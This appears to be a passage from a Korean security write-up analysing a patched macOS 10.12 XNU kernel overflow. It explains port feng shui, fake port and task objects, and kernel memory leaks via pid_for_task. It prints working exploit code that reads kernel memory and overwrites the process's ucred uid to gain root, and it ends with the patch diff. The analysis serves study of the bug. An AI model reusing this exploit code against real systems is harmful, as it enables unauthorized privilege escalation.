[ 32] 6FE984DD-A1FE-309E-83CF-B346989A6F17 0xffffff7f93d73000 //System/Library/Extensions/AppleIntelSlowAdaptiveClocking.kext/Contents/MacOS/AppleIntelSlowAdaptiveClocking 

[ 33] B36990F3-B873-31BB-8A1B-5615A3277382 0xffffff7f93251000 /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext/Contents/MacOS/IOSerialFamily 

      /Library/Developer/KDKs/KDK_10.12.1_16B2657.kdk/System/Library/Extensions/IOSerialFamily.kext.dSYM/Contents/Resources/DWARF/IOSerialFamily

 

 

 

우선 위 커맨드로 커널이 로딩된 베이스주소를 알아낼 수 있다. 구조체의 오프셋을 알고있다면 그 커널주소에서 오프셋만큼 더해 구조체를 볼 수 있다. 아래부터는 디버깅을 하는대신, dumpcode함수를 이용하여 한눈에 보기쉽도록 코드를 작성했다.

 

2.png

 

msg1와 msg2를 초기화한 상태와, Port 풍수를 이용하여 달라진 모습이다.

 

OOL port 풍수를 통해 ipc_object pointer를 fake ipc_object를 가리키게 만든다. 그리고나서 ipc_object의 io_bits를 IKOT_CLOCK으로 설정하는데, 위에 ipc_object 구조체를 보면 처음부분에 io_bits가 존재한다.

 

익스 코드에는 다음과 같이 되어있다.

 

 

 

fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap

...

fake_port->io_bits = IO_BITS_ACTIVE | IKOT_TASK; // for task trap

 

 

io_bits는 mach port type쓸때 적용해주는것인데, 우리는 먼저 커널을 릭해내야 하기 때문에 IKOT_CLOCK으로 비트를 주었다. IKOT_CLOCK을 사용한 이유는 clock_sleep_trap()를 통해 해당 주소에서 릭을 하기 위함이다. clock_sleep_trap을 이용하여 릭을하면, vtable의 주소를 얻어낼것이고, 오프셋은 동일하기때문에 get_kernel_addr()에서 커널 text주소를 구해낸다.

 

clock.png

 

또, IKOT_TASK를 설정한 이유는 fake task를 작성해서 사용할것이기때문에 포트타입을 task로 설정해주는 것이다. 전체적으로 보면 fake task는 값을 조작해서 pid_for_task를 이용해 커널메모리를 읽기위해 쓰인다. 다음을 보면 pid_for_task를 이용하여 현재 프로세스주소를 릭하는것을 획안 할 수 있다.

 

 

 

중요한것은 pid_for_task가 task의 유효성을 검사하지않고 리턴을 (faketask + 0x380) + 0x10)값으로 주기때문에 릭이 가능한것이다.

 

 

 

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){

    dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));

    data->dump_port = malloc(0x1000);

    data->dump_task = malloc(0x1000);

 

    uint64_t kern_task = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;

    pid_for_task(manipulated_port, (int32_t*)&kern_task);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));

  

    uint64_t itk_kern_sself = 0;

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);

    *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;

    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));

    data->dump_itk_kern_sself = itk_kern_sself;

  

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));

    }

    for (int i = 0; i < 256; i++) {

        *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;

        pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));

    }

    return data;

}

 

 

fake port와 fake task의 모든 작업이 끝나고나서, 우리는 mach_vm_read,write를 통해 커널메모리에 원하는대로 읽기 및 쓰기가 가능하여 ucred 구조체의 uid를 root로 조작해 관리자권한을 획득할 수 있다.

마지막으로 다음과 같은 코드로 uid를 0으로 수정해주는 작업을 한다.

 

mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel

vm_offset_t root_uid = 0;

mach_msg_type_number_t write_bytes = 8;

mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid,(mach_msg_type_number_t)write_bytes); // AAW in Kernel

 

위에서 언급했듯이, cred는 현재프로세스에서 0xe8만큼 떨어진곳에 존재하기때문에 주소를 알아내고, cred+0x18위치에 8바이트만큼 0으로 덮으면 위에 봤던 스크린샷과 같이 관리자권한의 쉘을 획득 할 수있다.

Patch

 

해당 버그는 10.12.3 이후부터 패치가 되었다. 어떻게 패치가 되었는지 10.12.4의 XNU 소스코드와 10.12.1의 소스코드를 비교해 볼 것이다.

 

1.png

 

 

좌측이 패치전, 우측이 패치후 모습이다. 보면 알겠지만 우리가 recipe 데이터를 조작 할 수 있었고, recipe_size또한 원하는대로 데이터를 넣을 수 있어서 오버플로우가 발생했다. 하지만 copyin을 했을때 recipe 구조체 멤버인 recipe_size만큼 복사하지 않아 원하는만큼의 데이터를 복사 할 수 없어 오버플로우가 발생하지 않는다.

참고

 

https://bugs.chromium.org/p/project-zero/issues/detail?id=1004

https://github.com/kpwn/yalu102

https://jaq.alibaba.com/community/art/show?articleid=781

 

TAG •

Articles

1 2 3 4 5 6